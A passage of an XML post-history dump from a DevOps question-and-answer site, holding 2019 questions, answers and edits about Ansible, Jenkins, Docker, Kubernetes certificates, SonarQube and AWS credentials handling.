goss*&#xD;&#xA;&#xD;&#xA;**UPDATE:** InSpec 4.x or above uses a mixed commercial / open source license - see comments." ContentLicense="CC BY-SA 4.0" />
  <row Id="28202" PostHistoryTypeId="24" PostId="706" RevisionGUID="975c5f47-6e94-4578-95e4-3cd4fff2c127" CreationDate="2019-10-17T14:19:06.473" Comment="Proposed by 519 approved by 397, 707 edit id of 1095" ContentLicense="CC BY-SA 4.0" />
  <row Id="28203" PostHistoryTypeId="4" PostId="9458" RevisionGUID="b5a230d7-6e54-42b9-b276-09b8191cc84a" CreationDate="2019-10-17T14:19:11.097" UserId="6603" Comment="Improved the title" Text="How to run Ansible file in Jenkins using Ansible plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="28204" PostHistoryTypeId="24" PostId="9458" RevisionGUID="b5a230d7-6e54-42b9-b276-09b8191cc84a" CreationDate="2019-10-17T14:19:11.097" Comment="Proposed by 6603 approved by 397, 707 edit id of 1098" ContentLicense="CC BY-SA 4.0" />
  <row Id="28205" PostHistoryTypeId="2" PostId="9473" RevisionGUID="e2621be7-2eb0-43cf-b1d8-3d6a3b30a21a" CreationDate="2019-10-17T14:40:37.910" UserId="6603" Text="Gitlab CI/CD offers Docker Engine. If you can create a docker image, you can serve the application the same way as you were doing with Jenkins. You can find more details on how to integrate both [here][1]. &#xD;&#xA;&#xD;&#xA;Hope it helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/docker/README.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="28206" PostHistoryTypeId="5" PostId="9466" RevisionGUID="9e431cef-e9fc-4f8f-a471-cfa0529dcf10" CreationDate="2019-10-17T15:40:54.517" UserId="17664" Comment="edited body" Text="# About&#xD;&#xA;&#xD;&#xA;I am developing a piece of software which consists of a Node.js application which controls a virtual machine that runs Android-x86. Also there are some pieces of the Android SDK like ADB the software depends on.&#xD;&#xA;&#xD;&#xA;# My current approach&#xD;&#xA;&#xD;&#xA;Currently there is no smart way of deployment whatsoever at all. Everything has to be installed manually. Depending on the system I also get issues regarding networking and so on from time to time.&#xD;&#xA;&#xD;&#xA;To solve problems of these kinds I usually would use Docker. Therefore that was my first thought here as well. So such a Docker container would simply run the Node.js application as well as the virtual machine.&#xD;&#xA;&#xD;&#xA;# My problem&#xD;&#xA;&#xD;&#xA;For me it became a bit confusing (and maybe even pointless) when I wanted to use a virtual machine inside of a Docker container. Due to there is obviously no way I can run an Android-x86 Docker container I cannot come up with any other solution than a virtual machine inside of Docker.&#xD;&#xA;&#xD;&#xA;# My question&#xD;&#xA;&#xD;&#xA;Is it fine to do as I mentioned or are there any better ways or even best practices to use a virtual machine inside of a container?&#xD;&#xA;&#xD;&#xA;# Edits&#xD;&#xA;&#xD;&#xA; - I want to add that a possible solution does not have to be utilizing Docker. If there is any other technology that is able to create a container-ish construct which in further consequence is able to run a virtual machine I would be happy to get to know it." ContentLicense="CC BY-SA 4.0" />
  <row Id="28207" PostHistoryTypeId="5" PostId="9471" RevisionGUID="9f6a8c51-83c2-47d2-adaf-0130b2c7c03f" CreationDate="2019-10-17T15:50:46.853" UserId="6603" Comment="added 205 characters in body" Text="VirtualBox is a free and open-source hypervisor for x86 virtualization. It can be installed on Windows, macOS, Linux, Solaris etc. Created by Innotek GmbH, it is owned by Oracle now through acquisitions.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="28208" PostHistoryTypeId="24" PostId="9471" RevisionGUID="9f6a8c51-83c2-47d2-adaf-0130b2c7c03f" CreationDate="2019-10-17T15:50:46.853" Comment="Proposed by 6603 approved by 707, -1 edit id of 1099" ContentLicense="CC BY-SA 4.0" />
  <row Id="28209" PostHistoryTypeId="5" PostId="9471" RevisionGUID="46959d68-2152-41d1-9b27-43096b798cf6" CreationDate="2019-10-17T15:50:46.853" UserId="40" Comment="Improve excerpt" Text="Use this tag for questions about VirtualBox, a free and open-source hypervisor for x86 virtualization which can be installed on Windows, macOS, Linux, Solaris etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="28210" PostHistoryTypeId="5" PostId="9447" RevisionGUID="9b251d75-5fb4-4acf-8696-dd2d37a4d332" CreationDate="2019-10-17T15:51:47.610" UserId="6603" Comment="spellchecks, formatting." Text="I'd like to build a service where I run a custom setup script on behalf of a user on an `t2.micro` equivalent instance but be able to probably relinquish access to the server. Any advice on the tech stack and flows that I could use to accomplish this?&#xD;&#xA;&#xD;&#xA;Let's assume I have unlimited access to AWS resources to create as many instances as I like. The service is targeted at users unfamiliar with how even `ssh` works and we are basically setting up a custom software service automatically that runs on their dedicated service. But we need to prove that there is no way we can gain access to this user's server again.&#xD;&#xA;&#xD;&#xA;Any help is appreciated! Looking for creative ways to accomplish this." ContentLicense="CC BY-SA 4.0" />
  <row Id="28211" PostHistoryTypeId="4" PostId="9447" RevisionGUID="9b251d75-5fb4-4acf-8696-dd2d37a4d332" CreationDate="2019-10-17T15:51:47.610" UserId="6603" Comment="spellchecks, formatting." Text="Provisioning a server on behalf of a user on GCP/AWS/Azure and probably relinquish access" ContentLicense="CC BY-SA 4.0" />
  <row Id="28212" PostHistoryTypeId="24" PostId="9447" RevisionGUID="9b251d75-5fb4-4acf-8696-dd2d37a4d332" CreationDate="2019-10-17T15:51:47.610" Comment="Proposed by 6603 approved by -1 edit id of 1100" ContentLicense="CC BY-SA 4.0" />
  <row Id="28213" PostHistoryTypeId="5" PostId="9447" RevisionGUID="2b24d69e-7e3d-4ea1-9260-339c7a126c2b" CreationDate="2019-10-17T15:51:47.610" UserId="40" Comment="deleted 22 characters in body" Text="I'd like to build a service where I run a custom setup script on behalf of a user on an `t2.micro` equivalent instance but be able to probably relinquish access to the server. Any advice on the tech stack and flows that I could use to accomplish this?&#xD;&#xA;&#xD;&#xA;Let's assume I have unlimited access to AWS resources to create as many instances as I like. The service is targeted at users unfamiliar with how even `ssh` works and we are basically setting up a custom software service automatically that runs on their dedicated service. But we need to prove that there is no way we can gain access to this user's server again.&#xD;&#xA;&#xD;&#xA;Any help about creative ways to accomplish this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28218" PostHistoryTypeId="2" PostId="9475" RevisionGUID="8f169da9-8185-4dfa-8ac8-b2fc5af88b2e" CreationDate="2019-10-17T23:39:16.207" UserId="17676" Text="The indentation looks incorrect for the artifacts section in your buildspec-test.yml file. It is nested under the phases section. That way it is not being output properly and can't be picked up by the next build.&#xD;&#xA;&#xD;&#xA;It should be the same as in your second file.&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    phases:&#xD;&#xA;      build:&#xD;&#xA;        commands:&#xD;&#xA;          - $ANDROID_HOME/tools/bin/sdkmanager &quot;build-tools;27.0.3&quot; &quot;platforms;android-27&quot;&#xD;&#xA;          - sh gradlew assembleDebug&#xD;&#xA;    artifacts:&#xD;&#xA;      files:&#xD;&#xA;        - app/build/outputs/apk/debug/app-debug.apk&#xD;&#xA;      #some other stuff here.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28219" PostHistoryTypeId="5" PostId="9475" RevisionGUID="5268241a-7e01-401c-938d-b89e556a9088" CreationDate="2019-10-18T03:56:48.907" UserId="739" Comment="formatting filename as code" Text="The indentation looks incorrect for the artifacts section in your `buildspec-test.yml` file. It is nested under the phases section. That way it is not being output properly and can't be picked up by the next build.&#xD;&#xA;&#xD;&#xA;It should be the same as in your second file.&#xD;&#xA;&#xD;&#xA;    version: 0.2&#xD;&#xA;    phases:&#xD;&#xA;      build:&#xD;&#xA;        commands:&#xD;&#xA;          - $ANDROID_HOME/tools/bin/sdkmanager &quot;build-tools;27.0.3&quot; &quot;platforms;android-27&quot;&#xD;&#xA;          - sh gradlew assembleDebug&#xD;&#xA;    artifacts:&#xD;&#xA;      files:&#xD;&#xA;        - app/build/outputs/apk/debug/app-debug.apk&#xD;&#xA;      #some other stuff here.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28220" PostHistoryTypeId="50" PostId="8162" RevisionGUID="f4e1723b-61a3-41bf-b0c8-f52e85b045ac" CreationDate="2019-10-18T04:04:20.473" UserId="-1" />
  <row Id="28221" PostHistoryTypeId="50" PostId="8167" RevisionGUID="d719aa05-6187-4300-a433-6eadd4fe12ea" CreationDate="2019-10-18T05:01:25.170" UserId="-1" />
  <row Id="28225" PostHistoryTypeId="2" PostId="9477" RevisionGUID="b49c78fb-715d-452b-92b4-ad237221e19c" CreationDate="2019-10-18T07:42:57.540" UserId="17679" Text="Use this source code for reboot your client machine&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;   &#xD;&#xA;    ---&#xD;&#xA;      - name: System Reboot&#xD;&#xA;        hosts: debian&#xD;&#xA;        become_method: sudo&#xD;&#xA;        become_user: root&#xD;&#xA;        become: true&#xD;&#xA;        tasks:&#xD;&#xA;          - name: reboot nodes     # Reboot client side debian machine &#xD;&#xA;            shell: sleep 2 &amp;&amp; shutdown -r now &quot;Ansible reboot&quot;&#xD;&#xA;            async: 1&#xD;&#xA;            poll: 0&#xD;&#xA;            ignore_errors: true&#xD;&#xA;          - name: wait for the server to come back  # when server timeout it through error. That error is handle by ignore_errors.&#xD;&#xA;            local_action: wait_for&#xD;&#xA;            args:&#xD;&#xA;              host: &quot;{{ inventory_hostname }}&quot;&#xD;&#xA;              port: 22&#xD;&#xA;              state: started&#xD;&#xA;              delay: 120&#xD;&#xA;              timeout: 200&#xD;&#xA;            ignore_errors: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28226" PostHistoryTypeId="2" PostId="9478" RevisionGUID="8804a5fc-40d0-44cc-bd5e-875190fb6aaa" CreationDate="2019-10-18T08:30:28.187" UserId="17681" Text="I'm trying to get our test reports (generated using google test with the xml output switch) into Jenkins, but keep getting the error message:&#xD;&#xA;&#xD;&#xA;`Test reports were found but none of them are new. Did leafNodes run?`&#xD;&#xA;&#xD;&#xA;Jenkins says the test xml files are 15s old, which means these must have been generated on this test run.&#xD;&#xA;&#xD;&#xA;We're using a declarative pipeline, and the TEST stage looks like:&#xD;&#xA;```groovy&#xD;&#xA;stage(&quot;TEST&quot;) {&#xD;&#xA;  steps {&#xD;&#xA;    dir(&quot;${BUILD_ROOT}&quot;) {&#xD;&#xA;      sh &quot;make test_report_clean test || true&quot;&#xD;&#xA;      junit keepLongStdio: true, testResults: '*_test_gcov.xml'&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here the `test_report_clean` make target deletes any existing xml reports, and the `test` target is generated from cmake's `add_test` function. I have verified that test reports are being generated in the correct location by looking in the Jenkins workspace.&#xD;&#xA;&#xD;&#xA;I've also tried the xunit plugin, but the same error message is produced!&#xD;&#xA;&#xD;&#xA;(This question was originally posted to Super User but I was asked to move it.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28227" PostHistoryTypeId="1" PostId="9478" RevisionGUID="8804a5fc-40d0-44cc-bd5e-875190fb6aaa" CreationDate="2019-10-18T08:30:28.187" UserId="17681" Text="Jenkins error using Junit plugin: Test reports were found but none of them are new. Did LeafNodes run?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28228" PostHistoryTypeId="3" PostId="9478" RevisionGUID="8804a5fc-40d0-44cc-bd5e-875190fb6aaa" CreationDate="2019-10-18T08:30:28.187" UserId="17681" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28232" PostHistoryTypeId="2" PostId="9480" RevisionGUID="5ce0fc64-502a-41b0-b48d-1ee7c921ad86" CreationDate="2019-10-18T10:33:52.443" UserId="17622" Text="I want to clear Sonarqube project current code analysis and make the project blank. Is it possible? I know we can clear all the previous analysis, but I want to clear the current analysis of Sonarqube project. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28233" PostHistoryTypeId="1" PostId="9480" RevisionGUID="5ce0fc64-502a-41b0-b48d-1ee7c921ad86" CreationDate="2019-10-18T10:33:52.443" UserId="17622" Text="Clear Sonarqube Current Analysis" ContentLicense="CC BY-SA 4.0" />
  <row Id="28234" PostHistoryTypeId="3" PostId="9480" RevisionGUID="5ce0fc64-502a-41b0-b48d-1ee7c921ad86" CreationDate="2019-10-18T10:33:52.443" UserId="17622" Text="&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28238" PostHistoryTypeId="2" PostId="9482" RevisionGUID="ec529701-2e47-42fe-a72a-a4961255623c" CreationDate="2019-10-18T12:47:37.787" UserId="17687" Text="I have some servers where I have nginx installed on the base system in reverse proxy mode, and then use Docker deployments to push out containers where just the local HTTP port is exposed.&#xD;&#xA;&#xD;&#xA;We don't have a full CI/CD system in place, and have been getting along fine with Bitbucket Pipelines for many things (usually just doing rsync of build artifacts).&#xD;&#xA;&#xD;&#xA;In my Docker based projects, my release script that I run locally ends with something along the lines of&#xD;&#xA;&#xD;&#xA;    eval $(docker-machine env ${MACHINE_NAME})&#xD;&#xA;    docker stop ${IMAGE_NAME}-app-1&#xD;&#xA;    docker pull ${REGISTRY_HOST}/${IMAGE_NAME}:${IMAGE_TAG}&#xD;&#xA;    docker run -d -p 8080:8080 --rm --name ${IMAGE_NAME}-app-1 ${REGISTRY_HOST}/${IMAGE_NAME}:${IMAGE_TAG}&#xD;&#xA;&#xD;&#xA;This works great, but I would like to run this from a pipeline as a deployment step.  Given that certificates and keys are stored in `~/.docker/machine/`, is this even possible, or do I need to do a server side script that I trigger with ssh from the pipeline?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28239" PostHistoryTypeId="1" PostId="9482" RevisionGUID="ec529701-2e47-42fe-a72a-a4961255623c" CreationDate="2019-10-18T12:47:37.787" UserId="17687" Text="Can you use docker-machine from Bitbucket Pipelines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28240" PostHistoryTypeId="3" PostId="9482" RevisionGUID="ec529701-2e47-42fe-a72a-a4961255623c" CreationDate="2019-10-18T12:47:37.787" UserId="17687" Text="&lt;docker&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28242" PostHistoryTypeId="2" PostId="9483" RevisionGUID="c152cf8c-558d-4524-b21f-26601261183a" CreationDate="2019-10-18T13:20:01.767" UserId="17688" Text="I've recently followed [this guide][1] to set up Kubernetes on my local Raspberry Pi cluster. I can access it fine on my LAN; however I'd like to be able to access it remotely as well. I've already set up port forwarding on my router, but when I try to connect from outside the LAN, I get a x509 certificate error indicating that the certificate is signed for my local 192.168 address but not for my home's IP. I could bypass this with the `--insecure-skip-tls-verify` options but I'd much rather have the certificate used simply incorporate my IP address. Only... I'm not fully sure how to do that, though I do have some ideas.&#xD;&#xA;&#xD;&#xA;When I initially set things up with `kubeadm init`, should I have used the `--apiserver-advertise-address` option to specify my home IP? Would doing so have had any adverse effects (such as precluding my local/192.168 IP?). Ideally I'd like the certificate to be signed for both the internal and external IPs. Or is there some other option I should have given to `kubeadm init`? Secondly, now that it has been initialized, is there any way to regenerate the certificate and swap it out, or will I need to nuke the cluster?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/nycdev/k8s-on-pi-9cc14843d43" ContentLicense="CC BY-SA 4.0" />
  <row Id="28243" PostHistoryTypeId="1" PostId="9483" RevisionGUID="c152cf8c-558d-4524-b21f-26601261183a" CreationDate="2019-10-18T13:20:01.767" UserId="17688" Text="How can I add an additional IP / hostname to my Kubernetes certificate?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28244" PostHistoryTypeId="3" PostId="9483" RevisionGUID="c152cf8c-558d-4524-b21f-26601261183a" CreationDate="2019-10-18T13:20:01.767" UserId="17688" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28248" PostHistoryTypeId="2" PostId="9485" RevisionGUID="44b72db6-8f25-4514-9389-69d929cbbfd0" CreationDate="2019-10-18T15:12:27.587" UserId="16556" Text="I found the solution to my problem:&#xD;&#xA;&#xD;&#xA;In the main.yml task :&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&#xD;&#xA;    - include: wait_rds_are_stopped.yml&#xD;&#xA;      when: chosen_action == &quot;stop&quot;&#xD;&#xA;      loop: &quot;{{ vars[ 'list_rds_resources_ids1_' + environment ] + vars[ 'list_rds_resources_ids2_' + environment ] }}&quot;&#xD;&#xA;      loop_control:&#xD;&#xA;        loop_var: outer_item&#xD;&#xA;&#xD;&#xA;In the wait_rds_are_stopped.yml task:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&#xD;&#xA;    - name: Wait for RDS stop to finish&#xD;&#xA;      rds_instance_facts:&#xD;&#xA;        aws_access_key: &quot;{{ assumed_role.sts_creds.access_key }}&quot;&#xD;&#xA;        aws_secret_key: &quot;{{ assumed_role.sts_creds.secret_key }}&quot;&#xD;&#xA;        security_token: &quot;{{ assumed_role.sts_creds.session_token }}&quot;&#xD;&#xA;        db_instance_identifier: &quot;{{ outer_item }}&quot;&#xD;&#xA;        region: &quot;{{ region }}&quot;&#xD;&#xA;      register: aws_rds_facts&#xD;&#xA;      until: aws_rds_facts.instances[0].db_instance_status == &quot;stopped&quot;&#xD;&#xA;      retries: 90&#xD;&#xA;      delay: 10&#xD;&#xA;&#xD;&#xA;Thus, the loop control is outside. The stop of the 3 databases has been launched before, without waiting, so we save time. And the external loop will finish only when all the databases are stopped." ContentLicense="CC BY-SA 4.0" />
  <row Id="28251" PostHistoryTypeId="5" PostId="9483" RevisionGUID="9a3b70a3-cc36-4ab0-9c5d-871eaf944d47" CreationDate="2019-10-18T15:46:56.857" UserId="17688" Comment="added 292 characters in body" Text="I've recently followed [this guide][1] to set up Kubernetes on my local Raspberry Pi cluster. I can access it fine on my LAN; however I'd like to be able to access it remotely as well. I've already set up port forwarding on my router, but when I try to connect from outside the LAN, I get a x509 certificate error indicating that the certificate is signed for my local 192.168 address but not for my home's IP. I could bypass this with the `--insecure-skip-tls-verify` options but I'd much rather have the certificate used simply incorporate my IP address. Only... I'm not fully sure how to do that, though I do have some ideas.&#xD;&#xA;&#xD;&#xA;When I initially set things up with `kubeadm init`, should I have used the `--apiserver-advertise-address` option to specify my home IP? Would doing so have had any adverse effects (such as precluding my local/192.168 IP?). Ideally I'd like the certificate to be signed for both the internal and external IPs. Or is there some other option I should have given to `kubeadm init`? Secondly, now that it has been initialized, is there any way to regenerate the certificate and swap it out, or will I need to nuke the cluster?&#xD;&#xA;&#xD;&#xA;To clarify, I don't have any certificate managers installed. I'm not talking about Ingress. I'm talking about the actual &quot;root&quot; certificate (for lack of a better term) that kubeadm generates when first installing the cluster, i.e. the one that lives at `/etc/kubernetes/pki/apiserver.crt`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/nycdev/k8s-on-pi-9cc14843d43" ContentLicense="CC BY-SA 4.0" />
  <row Id="28253" PostHistoryTypeId="2" PostId="9487" RevisionGUID="5d128be1-9e44-4565-a6a7-c57bc8688923" CreationDate="2019-10-18T16:38:22.810" UserId="17667" Text="I agree with Fodil, but I would also recommend using **psexec** for working with windows. Ansible has a command **&quot;win_psexec&quot;** that helps to use escalated privileges without using **Become**. " ContentLicense="CC BY-SA 4.0" />
  <row Id="28254" PostHistoryTypeId="50" PostId="9200" RevisionGUID="6fbaf36b-4c8b-442b-b440-e43a9f512739" CreationDate="2019-10-18T17:02:05.653" UserId="-1" />
  <row Id="28255" PostHistoryTypeId="2" PostId="9488" RevisionGUID="e2a78948-c162-4014-9fab-756689de5581" CreationDate="2019-10-18T18:15:54.600" UserId="15792" Text="If you mean removing a &quot;snapshot&quot; of an analysis according to the most recent [SonarQube documentation][1] you should be able to this.  Also if you have access to the database SonarQube is using then you could remove the analysis directly from there.  That option may introduce other issues though depending on how SonarQube handles it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.sonarqube.org/latest/project-administration/managing-project-history/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28256" PostHistoryTypeId="2" PostId="9489" RevisionGUID="f0b51fa0-5a8b-43de-9545-a44aa1eae312" CreationDate="2019-10-18T21:40:35.130" UserId="17696" Text="&gt; So if we change it for one service, we need to update it in each docker-compose.yml in each project.&#xA;&#xA;That's sounds like duplicate code and there are many ways to avoid that. But without more detailed information about how your setup looks like it's difficult to help. &#xA;&#xA;Within a pipeline you can access other projects and their source code. Maybe Git Submodules is an option. Or you might be interested in the [include keyword][1] of GitLab CI.&#xA;&#xA;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#include" ContentLicense="CC BY-SA 4.0" />
  <row Id="28257" PostHistoryTypeId="6" PostId="9483" RevisionGUID="62133dbe-2887-4c69-98bf-69f8769bfb59" CreationDate="2019-10-18T23:48:32.997" UserId="739" Comment="add ssl tag" Text="&lt;kubernetes&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28310" PostHistoryTypeId="50" PostId="5954" RevisionGUID="db12aa10-d4a0-4751-a5aa-5e31eb18f33b" CreationDate="2019-10-19T05:02:40.363" UserId="-1" />
  <row Id="28315" PostHistoryTypeId="5" PostId="8935" RevisionGUID="367ac280-0500-4bf3-b7f3-c72c144684af" CreationDate="2019-10-19T06:23:06.353" UserId="354" Comment="Fix the formatting" Text="I'm new with Ansible so hope to find answers here.&#xD;&#xA;I'm trying to run some playbook but getting an error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;fatal: [10.65.30.117]: FAILED! =&gt; {&#xD;&#xA;  &quot;msg&quot;: &quot;Timeout (12s) waiting for privilege escalation prompt: &quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here are the steps which I performed:&#xD;&#xA;&#xD;&#xA; 1. I installed Ansible 2.6.17 on RHEL 6.8 using root user.&#xD;&#xA; 2. I update /etc/ansible/host with new group of IPs (with root user)&#xD;&#xA; 3. I created playbook file (with some other user) with the following content:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;  name: sample_playbook&#xD;&#xA;  hosts: [ansible_clients]&#xD;&#xA;  remote_user: ronenal&#xD;&#xA;  become: true&#xD;&#xA;  tasks:&#xD;&#xA;     - name: create file&#xD;&#xA;       file:&#xD;&#xA;         path: /tmp/ansible.log&#xD;&#xA;         state: touch&#xD;&#xA;         mode: u=rw,g=r,o=r&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I execute `ansible-playbook -sample_playbook.yml` I'm getting the above error.&#xD;&#xA;&#xD;&#xA;I set `ANSIBLE_DEBUG=1` and it looks like it related to sudo command.&#xD;&#xA;The user which I use is not in the sudoers list.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; 1. Is it required to be a privileged user in order to execute Ansible playbook?&#xD;&#xA; 2. if no, what am I doing wrong?&#xD;&#xA; 3. if yes, is that mean that I need to add this user to the sudoers users list?&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;Ronen" ContentLicense="CC BY-SA 4.0" />
  <row Id="28316" PostHistoryTypeId="6" PostId="8935" RevisionGUID="367ac280-0500-4bf3-b7f3-c72c144684af" CreationDate="2019-10-19T06:23:06.353" UserId="354" Comment="Fix the formatting" Text="&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28317" PostHistoryTypeId="24" PostId="8935" RevisionGUID="367ac280-0500-4bf3-b7f3-c72c144684af" CreationDate="2019-10-19T06:23:06.353" Comment="Proposed by 354 approved by -1 edit id of 1101" ContentLicense="CC BY-SA 4.0" />
  <row Id="28318" PostHistoryTypeId="5" PostId="8935" RevisionGUID="9074a8c0-515f-4236-ab7d-6564e1494ff6" CreationDate="2019-10-19T06:23:06.353" UserId="40" Comment="remove noise" Text="I'm new with Ansible so hope to find answers here.&#xD;&#xA;I'm trying to run some playbook but getting an error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;fatal: [10.65.30.117]: FAILED! =&gt; {&#xD;&#xA;  &quot;msg&quot;: &quot;Timeout (12s) waiting for privilege escalation prompt: &quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here are the steps which I performed:&#xD;&#xA;&#xD;&#xA; 1. I installed Ansible 2.6.17 on RHEL 6.8 using root user.&#xD;&#xA; 2. I update /etc/ansible/host with new group of IPs (with root user)&#xD;&#xA; 3. I created playbook file (with some other user) with the following content:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;  name: sample_playbook&#xD;&#xA;  hosts: [ansible_clients]&#xD;&#xA;  remote_user: ronenal&#xD;&#xA;  become: true&#xD;&#xA;  tasks:&#xD;&#xA;     - name: create file&#xD;&#xA;       file:&#xD;&#xA;         path: /tmp/ansible.log&#xD;&#xA;         state: touch&#xD;&#xA;         mode: u=rw,g=r,o=r&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I execute `ansible-playbook -sample_playbook.yml` I'm getting the above error.&#xD;&#xA;&#xD;&#xA;I set `ANSIBLE_DEBUG=1` and it looks like it related to sudo command.&#xD;&#xA;The user which I use is not in the sudoers list.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; 1. Is it required to be a privileged user in order to execute Ansible playbook?&#xD;&#xA; 2. if no, what am I doing wrong?&#xD;&#xA; 3. if yes, is that mean that I need to add this user to the sudoers users list?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28325" PostHistoryTypeId="50" PostId="8899" RevisionGUID="10d72e15-638d-41db-80b3-68a1ccd74b4a" CreationDate="2019-10-19T14:01:15.210" UserId="-1" />
  <row Id="28326" PostHistoryTypeId="50" PostId="8075" RevisionGUID="da988705-c404-4e63-9b10-491efc879593" CreationDate="2019-10-19T15:00:49.137" UserId="-1" />
  <row Id="28329" PostHistoryTypeId="50" PostId="9209" RevisionGUID="643e702f-b6ce-4212-b329-42def09f0dbb" CreationDate="2019-10-19T17:00:55.293" UserId="-1" />
  <row Id="28330" PostHistoryTypeId="50" PostId="9102" RevisionGUID="ed1bbdc7-2303-44d7-9426-3db56c69e7f6" CreationDate="2019-10-20T06:02:15.267" UserId="-1" />
  <row Id="28331" PostHistoryTypeId="2" PostId="9492" RevisionGUID="ea5ed8ea-8e4d-42c4-bc89-97af9494e597" CreationDate="2019-10-20T07:28:04.690" UserId="354" Text="It sounds like you want to do some configuration management upstream from the terraform.  I would suggest following a pattern of writing [Packer templates](https://www.packer.io/docs/templates/index.html) to build and provision the AMIs _before_ running the terraform plan and apply. By judiciously applying tags to the image name, you can write a `data` statement to reliably find it.&#xD;&#xA;&#xD;&#xA;Your pipeline will be a bit longer (you need to add the packer build step to it), but your configuration will be more reliable and easier to maintain.&#xD;&#xA;&#xD;&#xA;Note: I realise that this does not answer your actual question -- it is more along the lines of &quot;don't do what you want, do something else. My opinion is that since terraform is for provisioning infrastructure, it is something of an abuse to extend its use too far into configuration management, and it would be better to use something more suited to the job." ContentLicense="CC BY-SA 4.0" />
  <row Id="28332" PostHistoryTypeId="2" PostId="9493" RevisionGUID="bff731d0-abe9-40ac-88db-91275ba1050b" CreationDate="2019-10-20T07:40:28.523" UserId="354" Text="This question seems to have been answered in the [Chef issue](https://github.com/chef/chef/issues/6273). To close the loop, I will summarise it here:&#xD;&#xA;&#xD;&#xA;This was a bug introduced in Chef 12:&#xD;&#xA;&#xD;&#xA;&gt; The issue is with `chef_solo` vs `chef_zero`. It seems `chef_solo` was the old way of doing Chef things. So I added `chef_zero.enabled true` in the `knife.rb` file to activate `chef_zero` instead of `chef_solo`. When you do this, you should be able to upload.&#xD;&#xA;&#xD;&#xA;It was [subsequently fixed](https://github.com/chef/chef/issues/6273#issuecomment-326289442) in Chef 13:&#xD;&#xA;&#xD;&#xA;&gt; This is fixed in Chef 13.3.3, which will be released in the ChefDK 2.2 release&#xD;&#xA;&#xD;&#xA;At the time of writing, Chef is in major version 15, so this issue is very unlikely to be encountered in the wild." ContentLicense="CC BY-SA 4.0" />
  <row Id="28333" PostHistoryTypeId="2" PostId="9494" RevisionGUID="0a8ea01f-822b-41f9-84bb-5b7e86dbf215" CreationDate="2019-10-20T07:51:54.440" UserId="12614" Text="I've created a local development environment for new developers coming to work in the company I work for.&#xD;&#xA;&#xD;&#xA;One of the microservices running as part of this local development environment requires access to some AWS s3 bucket.&#xD;&#xA;&#xD;&#xA;Up until today, I required each user who used this solution to get AWS access and secret keys by himself but lately the company has implemented Okta SSO solution and now there's a new motivation to use one single dedicated AWS access key through Okta which has read-only access to the required resources in AWS.&#xD;&#xA;&#xD;&#xA;I want to avoid hard coding this AWS access key in my code and instead, I want to store the access and secret keys in AWS Secrets Manager and then using an assume role to read the keys from there but the problem is that I have to authenticate somehow against the company's AWS account in order to be able to assume the role and read the keys from AWS SM.&#xD;&#xA;&#xD;&#xA;Is there any way to do this?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28334" PostHistoryTypeId="1" PostId="9494" RevisionGUID="0a8ea01f-822b-41f9-84bb-5b7e86dbf215" CreationDate="2019-10-20T07:51:54.440" UserId="12614" Text="Is it possible to read secured keys from aws-secrets-manager without using aws access and secret key?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28335" PostHistoryTypeId="3" PostId="9494" RevisionGUID="0a8ea01f-822b-41f9-84bb-5b7e86dbf215" CreationDate="2019-10-20T07:51:54.440" UserId="12614" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
